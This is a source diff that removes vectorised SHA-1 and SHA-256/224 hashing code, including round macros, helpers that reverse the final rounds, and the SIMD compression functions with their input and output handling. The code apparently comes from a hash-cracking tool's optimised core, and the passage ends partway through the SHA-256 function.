-    SHA1_PARA_DO(i) {                               \
-        F(b,c,d)                                    \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        tmp[i] = vroti_epi32(a[i], 5);              \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        e[i] = vadd_epi32( e[i], cst );             \
-        e[i] = vadd_epi32( e[i], data[i*16+t] );    \
-        b[i] = vroti_epi32(b[i], 30);               \
-        SHA1_EXPAND2b(t+16)                         \
-    }
-
-#define SHA1_ROUND2c(a,b,c,d,e,F,t)                 \
-    SHA1_PARA_DO(i) {                               \
-        F(b,c,d)                                    \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        tmp[i] = vroti_epi32(a[i], 5);              \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        e[i] = vadd_epi32( e[i], cst );             \
-        e[i] = vadd_epi32( e[i], data[i*16+t] );    \
-        b[i] = vroti_epi32(b[i], 30);               \
-        SHA1_EXPAND2c(t+16)                         \
-    }
-
-#define SHA1_ROUND2d(a,b,c,d,e,F,t)                 \
-    SHA1_PARA_DO(i) {                               \
-        F(b,c,d)                                    \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        tmp[i] = vroti_epi32(a[i], 5);              \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        e[i] = vadd_epi32( e[i], cst );             \
-        e[i] = vadd_epi32( e[i], data[i*16+t] );    \
-        b[i] = vroti_epi32(b[i], 30);               \
-        SHA1_EXPAND2d(t+16)                         \
-    }
-
-#define SHA1_ROUND2(a,b,c,d,e,F,t)                  \
-    SHA1_PARA_DO(i) {                               \
-        F(b,c,d)                                    \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        tmp[i] = vroti_epi32(a[i], 5);              \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        e[i] = vadd_epi32( e[i], cst );             \
-        e[i] = vadd_epi32( e[i], w[i*16+(t&0xF)] ); \
-        b[i] = vroti_epi32(b[i], 30);               \
-        SHA1_EXPAND2(t+16)                          \
-    }
-
-#define SHA1_ROUND2x(a,b,c,d,e,F,t)                 \
-    SHA1_PARA_DO(i) {                               \
-        F(b,c,d)                                    \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        tmp[i] = vroti_epi32(a[i], 5);              \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        e[i] = vadd_epi32( e[i], cst );             \
-        e[i] = vadd_epi32( e[i], w[i*16+(t&0xF)] ); \
-        b[i] = vroti_epi32(b[i], 30);               \
-    }
-
-#define INIT_E 0xC3D2E1F0
-
-void sha1_reverse(uint32_t *hash)
-{
-	hash[4] -= INIT_E;
-	hash[4]  = (hash[4] << 2) | (hash[4] >> 30);
-}
-
-void sha1_unreverse(uint32_t *hash)
-{
-	hash[4]  = (hash[4] << 30) | (hash[4] >> 2);
-	hash[4] += INIT_E;
-}
-
-#undef INIT_E
-
-void SIMDSHA1body(vtype* _data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state,
-                 unsigned SSEi_flags)
-{
-	vtype w[16*SIMD_PARA_SHA1];
-	vtype a[SIMD_PARA_SHA1];
-	vtype b[SIMD_PARA_SHA1];
-	vtype c[SIMD_PARA_SHA1];
-	vtype d[SIMD_PARA_SHA1];
-	vtype e[SIMD_PARA_SHA1];
-	vtype tmp[SIMD_PARA_SHA1];
-	vtype cst;
-	unsigned int i;
-	vtype *data;
-
-	if(SSEi_flags & SSEi_FLAT_IN) {
-		// Move _data to __data, mixing it SIMD_COEF_32 wise.
-#if __SSE4_1__ || __MIC__
-		unsigned k;
-		vtype *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data;
-		SHA1_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (i=0; i < 14; ++i) {
-					GATHER_4x(W[i], saved_key, i);
-					vswap32(W[i]);
-				}
-				GATHER_4x(W[14], saved_key, 14);
-				GATHER_4x(W[15], saved_key, 15);
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (i=0; i < 14; ++i) {
-					GATHER_2x(W[i], saved_key, i);
-					vswap32(W[i]);
-				}
-				GATHER_2x(W[14], saved_key, 14);
-				GATHER_2x(W[15], saved_key, 15);
-				saved_key += (VS32<<5);
-			} else {
-				for (i=0; i < 14; ++i) {
-					GATHER(W[i], saved_key, i);
-					vswap32(W[i]);
-				}
-				GATHER(W[14], saved_key, 14);
-				GATHER(W[15], saved_key, 15);
-				saved_key += (VS32<<4);
-			}
-			if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST) ) {
-				vswap32(W[14]);
-				vswap32(W[15]);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 *p = (ARCH_WORD_32*)w;
-		vtype *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data;
-		SHA1_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<6)+j];
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<5)+j];
-				saved_key += (VS32<<5);
-			} else {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<4)+j];
-				saved_key += (VS32<<4);
-			}
-			for (i=0; i < 14; i++)
-				vswap32(W[i]);
-			if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) {
-				vswap32(W[14]);
-				vswap32(W[15]);
-			}
-			W += 16;
-		}
-#endif
-
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	} else
-		data = _data;
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = vset1_epi32(0x67452301);
-			b[i] = vset1_epi32(0xefcdab89);
-			c[i] = vset1_epi32(0x98badcfe);
-			d[i] = vset1_epi32(0x10325476);
-			e[i] = vset1_epi32(0xC3D2E1F0);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*16*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*16*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*16*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*16*VS32+3*VS32]);
-				e[i] = vload((vtype*)&reload_state[i*16*VS32+4*VS32]);
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*5*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*5*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*5*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*5*VS32+3*VS32]);
-				e[i] = vload((vtype*)&reload_state[i*5*VS32+4*VS32]);
-			}
-		}
-	}
-
-	cst = vset1_epi32(0x5A827999);
-	SHA1_ROUND2a( a, b, c, d, e, SHA1_F,  0 );
-	SHA1_ROUND2a( e, a, b, c, d, SHA1_F,  1 );
-	SHA1_ROUND2a( d, e, a, b, c, SHA1_F,  2 );
-	SHA1_ROUND2b( c, d, e, a, b, SHA1_F,  3 );
-	SHA1_ROUND2b( b, c, d, e, a, SHA1_F,  4 );
-	SHA1_ROUND2b( a, b, c, d, e, SHA1_F,  5 );
-	SHA1_ROUND2b( e, a, b, c, d, SHA1_F,  6 );
-	SHA1_ROUND2b( d, e, a, b, c, SHA1_F,  7 );
-	SHA1_ROUND2c( c, d, e, a, b, SHA1_F,  8 );
-	SHA1_ROUND2c( b, c, d, e, a, SHA1_F,  9 );
-	SHA1_ROUND2c( a, b, c, d, e, SHA1_F, 10 );
-	SHA1_ROUND2c( e, a, b, c, d, SHA1_F, 11 );
-	SHA1_ROUND2c( d, e, a, b, c, SHA1_F, 12 );
-	SHA1_ROUND2c( c, d, e, a, b, SHA1_F, 13 );
-	SHA1_ROUND2d( b, c, d, e, a, SHA1_F, 14 );
-	SHA1_ROUND2d( a, b, c, d, e, SHA1_F, 15 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_F, 16 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_F, 17 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_F, 18 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_F, 19 );
-
-	cst = vset1_epi32(0x6ED9EBA1);
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 20 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 21 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 22 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 23 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 24 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 25 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 26 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 27 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 28 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 29 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 30 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 31 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 32 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 33 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 34 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_G, 35 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_G, 36 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_G, 37 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_G, 38 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_G, 39 );
-
-	cst = vset1_epi32(0x8F1BBCDC);
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 40 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 41 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 42 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 43 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 44 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 45 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 46 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 47 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 48 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 49 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 50 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 51 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 52 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 53 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 54 );
-	SHA1_ROUND2( a, b, c, d, e, SHA1_H, 55 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_H, 56 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_H, 57 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_H, 58 );
-	SHA1_ROUND2( b, c, d, e, a, SHA1_H, 59 );
-
-	cst = vset1_epi32(0xCA62C1D6);
-	SHA1_ROUND2( a, b, c, d, e, SHA1_I, 60 );
-	SHA1_ROUND2( e, a, b, c, d, SHA1_I, 61 );
-	SHA1_ROUND2( d, e, a, b, c, SHA1_I, 62 );
-	SHA1_ROUND2( c, d, e, a, b, SHA1_I, 63 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 64 );
-	SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 65 );
-	SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 66 );
-	SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 67 );
-	SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 68 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 69 );
-	SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 70 );
-	SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 71 );
-	SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 72 );
-	SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 73 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 74 );
-	SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 75 );
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		SHA1_PARA_DO(i)
-		{
-			vstore((vtype*)&out[i*5*VS32+4*VS32], e[i]);
-		}
-		return;
-	}
-
-	SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 76 );
-	SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 77 );
-	SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 78 );
-	SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 79 );
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		SHA1_PARA_DO(i)
-		{
-			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
-			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
-			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
-			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
-			e[i] = vadd_epi32(e[i], vset1_epi32(0xC3D2E1F0));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*16*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*16*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*16*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*16*VS32+3*VS32]));
-				e[i] = vadd_epi32(e[i], vload((vtype*)&reload_state[i*16*VS32+4*VS32]));
-			}
-		}
-		else
-		{
-			SHA1_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*5*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*5*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*5*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*5*VS32+3*VS32]));
-				e[i] = vadd_epi32(e[i], vload((vtype*)&reload_state[i*5*VS32+4*VS32]));
-			}
-		}
-	}
-
-	if (SSEi_flags & SSEi_FLAT_OUT) {
-		SHA1_PARA_DO(i)
-		{
-			uint32_t *o = (uint32_t*)&out[i*5*VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15*5,14*5,13*5,12*5,
-			                        11*5,10*5, 9*5, 8*5,
-			                         7*5, 6*5, 5*5, 4*5,
-			                         3*5, 2*5, 1*5, 0*5);
-
-			vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4);
-			vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4);
-			vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4);
-			vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4);
-			vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[5];
-				uint32_t s[5 * VS32];
-			} tmp;
-
-			tmp.v[0] = vswap32(a[i]);
-			tmp.v[1] = vswap32(b[i]);
-			tmp.v[2] = vswap32(c[i]);
-			tmp.v[3] = vswap32(d[i]);
-			tmp.v[4] = vswap32(e[i]);
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 5; k++)
-					o[j*5+k] = tmp.s[k*VS32+j];
-#endif
-		}
-	}
-	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) {
-			SHA1_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*32*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*32*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*32*VS32+2*VS32], c[i]);
-				vstore((vtype*)&out[i*32*VS32+3*VS32], d[i]);
-				vstore((vtype*)&out[i*32*VS32+4*VS32], e[i]);
-			}
-		} else {
-			SHA1_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*16*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*16*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*16*VS32+2*VS32], c[i]);
-				vstore((vtype*)&out[i*16*VS32+3*VS32], d[i]);
-				vstore((vtype*)&out[i*16*VS32+4*VS32], e[i]);
-			}
-		}
-	}
-	else
-	{
-		SHA1_PARA_DO(i)
-		{
-			vstore((vtype*)&out[i*5*VS32+0*VS32], a[i]);
-			vstore((vtype*)&out[i*5*VS32+1*VS32], b[i]);
-			vstore((vtype*)&out[i*5*VS32+2*VS32], c[i]);
-			vstore((vtype*)&out[i*5*VS32+3*VS32], d[i]);
-			vstore((vtype*)&out[i*5*VS32+4*VS32], e[i]);
-		}
-	}
-}
-#endif /* SIMD_PARA_SHA1 */
-
-
-#if SIMD_PARA_SHA256
-
-/*
- * These optimized Sigma alternatives are from "Fast SHA-256 Implementations
- * on Intel Architecture Processors" whitepaper by Intel. They should result
- * in less register copy operations but in our case they definitely cause a
- * regression. Not sure why.
- */
-#if 0
-#define S0(x) vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -9), x), -11), x), -2)
-#define S1(x) vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -14), x), -5), x), -6)
-#else
-#define S0(x)                                   \
-(                                               \
-    vxor(                                       \
-        vroti_epi32(x, -22),                    \
-        vxor(                                   \
-            vroti_epi32(x,  -2),                \
-            vroti_epi32(x, -13)                 \
-        )                                       \
-    )                                           \
-)
-
-#define S1(x)                                   \
-(                                               \
-    vxor(                                       \
-        vroti_epi32(x, -25),                    \
-        vxor(                                   \
-            vroti_epi32(x,  -6),                \
-            vroti_epi32(x, -11)                 \
-        )                                       \
-    )                                           \
-)
-#endif
-
-#define s0(x)                                   \
-(                                               \
-    vxor(                                       \
-        vsrli_epi32(x, 3),                      \
-        vxor(                                   \
-            vroti_epi32(x,  -7),                \
-            vroti_epi32(x, -18)                 \
-        )                                       \
-    )                                           \
-)
-
-#define s1(x)                                   \
-(                                               \
-    vxor(                                       \
-        vsrli_epi32(x, 10),                     \
-        vxor(                                   \
-            vroti_epi32(x, -17),                \
-            vroti_epi32(x, -19)                 \
-        )                                       \
-    )                                           \
-)
-
-#if __AVX512F__
-#define Maj(x,y,z) vternarylogic(x, y, z, 0xE8)
-#elif !VCMOV_EMULATED
-#define Maj(x,y,z) vcmov(x, y, vxor(z, y))
-#else
-#define Maj(x,y,z) vor(vand(x, y), vand(vor(x, y), z))
-#endif
-
-#define Ch(x,y,z) vcmov(y, z, x)
-
-#undef R
-#define R(t)                                                \
-{                                                           \
-    tmp1[i] = vadd_epi32(s1(w[(t-2)&0xf]), w[(t-7)&0xf]);   \
-    tmp2[i] = vadd_epi32(s0(w[(t-15)&0xf]), w[(t-16)&0xf]); \
-    w[(t)&0xf] = vadd_epi32(tmp1[i], tmp2[i]);              \
-}
-
-#define SHA256_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA256; ++x)
-
-#define SHA256_STEP(a,b,c,d,e,f,g,h,x,K)                    \
-{                                                           \
-    SHA256_PARA_DO(i)                                       \
-    {                                                       \
-        w = _w[i].w;                                        \
-        tmp1[i] = vadd_epi32(h[i],    S1(e[i]));            \
-        tmp1[i] = vadd_epi32(tmp1[i], Ch(e[i],f[i],g[i]));  \
-        tmp1[i] = vadd_epi32(tmp1[i], vset1_epi32(K));      \
-        tmp1[i] = vadd_epi32(tmp1[i], w[(x)&0xf]);          \
-        tmp2[i] = vadd_epi32(S0(a[i]),Maj(a[i],b[i],c[i])); \
-        d[i]    = vadd_epi32(tmp1[i], d[i]);                \
-        h[i]    = vadd_epi32(tmp1[i], tmp2[i]);             \
-        if (x < 48) R(x);                                   \
-    }                                                       \
-}
-
-#define INIT_A 0x6a09e667
-#define INIT_B 0xbb67ae85
-#define INIT_C 0x3c6ef372
-#define INIT_D 0xa54ff53a
-#define INIT_E 0x510e527f
-#define INIT_F 0x9b05688c
-#define INIT_G 0x1f83d9ab
-#define INIT_H 0x5be0cd19
-
-#define ror(x, n)       ((x >> n) | (x << (32 - n)))
-
-void sha256_reverse(uint32_t *hash)
-{
-	uint32_t a, b, c, d, e, f, g, h, s0, maj, tmp;
-
-	a = hash[0] - INIT_A;
-	b = hash[1] - INIT_B;
-	c = hash[2] - INIT_C;
-	d = hash[3] - INIT_D;
-	e = hash[4] - INIT_E;
-	f = hash[5] - INIT_F;
-	g = hash[6] - INIT_G;
-	h = hash[7] - INIT_H;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	g = h;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-
-	hash[0] = e - (a - (s0 + maj));
-}
-
-void sha256_unreverse()
-{
-	fprintf(stderr, "sha256_unreverse() not implemented\n");
-	perror("sha256_unreverse");
-}
-
-#undef ror
-
-#undef INIT_H
-#undef INIT_G
-#undef INIT_F
-#undef INIT_E
-#undef INIT_D
-#undef INIT_C
-#undef INIT_B
-#undef INIT_A
-
-#define INIT_D 0xf70e5939
-
-void sha224_reverse(uint32_t *hash)
-{
-	hash[3] -= INIT_D;
-}
-
-void sha224_unreverse(uint32_t *hash)
-{
-	hash[3] += INIT_D;
-}
-
-#undef INIT_D
-
-void SIMDSHA256body(vtype *data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags)
-{
-	vtype a[SIMD_PARA_SHA256],
-		  b[SIMD_PARA_SHA256],
-		  c[SIMD_PARA_SHA256],
-		  d[SIMD_PARA_SHA256],
-		  e[SIMD_PARA_SHA256],
-		  f[SIMD_PARA_SHA256],
-		  g[SIMD_PARA_SHA256],
-		  h[SIMD_PARA_SHA256];
-	union {
-		vtype w[16];
-		ARCH_WORD_32 p[16*sizeof(vtype)/sizeof(ARCH_WORD_32)];
-	}_w[SIMD_PARA_SHA256];
-	vtype tmp1[SIMD_PARA_SHA256], tmp2[SIMD_PARA_SHA256], *w = NULL;
-	ARCH_WORD_32 *saved_key=0;
-
-	unsigned int i, k;
-	if (SSEi_flags & SSEi_FLAT_IN) {
-
-#if __SSE4_1__ || __MIC__
-		saved_key = (ARCH_WORD_32*)data;
-		SHA256_PARA_DO(k)
-		{
-			w = _w[k].w;
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (i=0; i < 14; ++i) {
-					GATHER_4x(w[i], saved_key, i);
-					vswap32(w[i]);
-				}
-				GATHER_4x(w[14], saved_key, 14);
-				GATHER_4x(w[15], saved_key, 15);
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (i=0; i < 14; ++i) {
-					GATHER_2x(w[i], saved_key, i);
-					vswap32(w[i]);
-				}
-				GATHER_2x(w[14], saved_key, 14);
-				GATHER_2x(w[15], saved_key, 15);
-				saved_key += (VS32<<5);
-			} else {
-				for (i=0; i < 14; ++i) {
-					GATHER(w[i], saved_key, i);
-					vswap32(w[i]);
-				}
-				GATHER(w[14], saved_key, 14);
-				GATHER(w[15], saved_key, 15);
-				saved_key += (VS32<<4);
-			}
-			if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) {
-				vswap32(w[14]);
-				vswap32(w[15]);
-			}
-		}
-#else
-		unsigned int j;
-		saved_key = (ARCH_WORD_32*)data;
-		SHA256_PARA_DO(k)
-		{
-			ARCH_WORD_32 *p = _w[k].p;
-			w = _w[k].w;
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<6)+j];
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<5)+j];
-				saved_key += (VS32<<5);
-			} else {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<4)+j];
-				saved_key += (VS32<<4);
-			}
-			for (i=0; i < 14; i++)
-				vswap32(w[i]);
-			if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) {
-				vswap32(w[14]);
-				vswap32(w[15]);
-			}
-		}
-#endif
-	} else
-		memcpy(_w, data, 16*sizeof(vtype)*SIMD_PARA_SHA256);
-
-//	dump_stuff_shammx(w, 64, 0);
-
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*16*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*16*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*16*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*16*VS32+3*VS32]);
-				e[i] = vload((vtype*)&reload_state[i*16*VS32+4*VS32]);
-				f[i] = vload((vtype*)&reload_state[i*16*VS32+5*VS32]);
-				g[i] = vload((vtype*)&reload_state[i*16*VS32+6*VS32]);
-				h[i] = vload((vtype*)&reload_state[i*16*VS32+7*VS32]);
-			}
-		}
-		else
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*8*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*8*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*8*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*8*VS32+3*VS32]);
-				e[i] = vload((vtype*)&reload_state[i*8*VS32+4*VS32]);
-				f[i] = vload((vtype*)&reload_state[i*8*VS32+5*VS32]);
-				g[i] = vload((vtype*)&reload_state[i*8*VS32+6*VS32]);
-				h[i] = vload((vtype*)&reload_state[i*8*VS32+7*VS32]);
-			}
-		}
-	} else {
-		if (SSEi_flags & SSEi_CRYPT_SHA224) {
-			SHA256_PARA_DO(i)
-			{
-				/* SHA-224 IV */
-				a[i] = vset1_epi32(0xc1059ed8);
-				b[i] = vset1_epi32(0x367cd507);
-				c[i] = vset1_epi32(0x3070dd17);
-				d[i] = vset1_epi32(0xf70e5939);
-				e[i] = vset1_epi32(0xffc00b31);
-				f[i] = vset1_epi32(0x68581511);
-				g[i] = vset1_epi32(0x64f98fa7);
-				h[i] = vset1_epi32(0xbefa4fa4);
-			}
-		} else {
-			SHA256_PARA_DO(i)
-			{
-				// SHA-256 IV */
-				a[i] = vset1_epi32(0x6a09e667);
-				b[i] = vset1_epi32(0xbb67ae85);
-				c[i] = vset1_epi32(0x3c6ef372);
-				d[i] = vset1_epi32(0xa54ff53a);
-				e[i] = vset1_epi32(0x510e527f);
-				f[i] = vset1_epi32(0x9b05688c);
-				g[i] = vset1_epi32(0x1f83d9ab);
-				h[i] = vset1_epi32(0x5be0cd19);
-			}
-		}
-	}
-
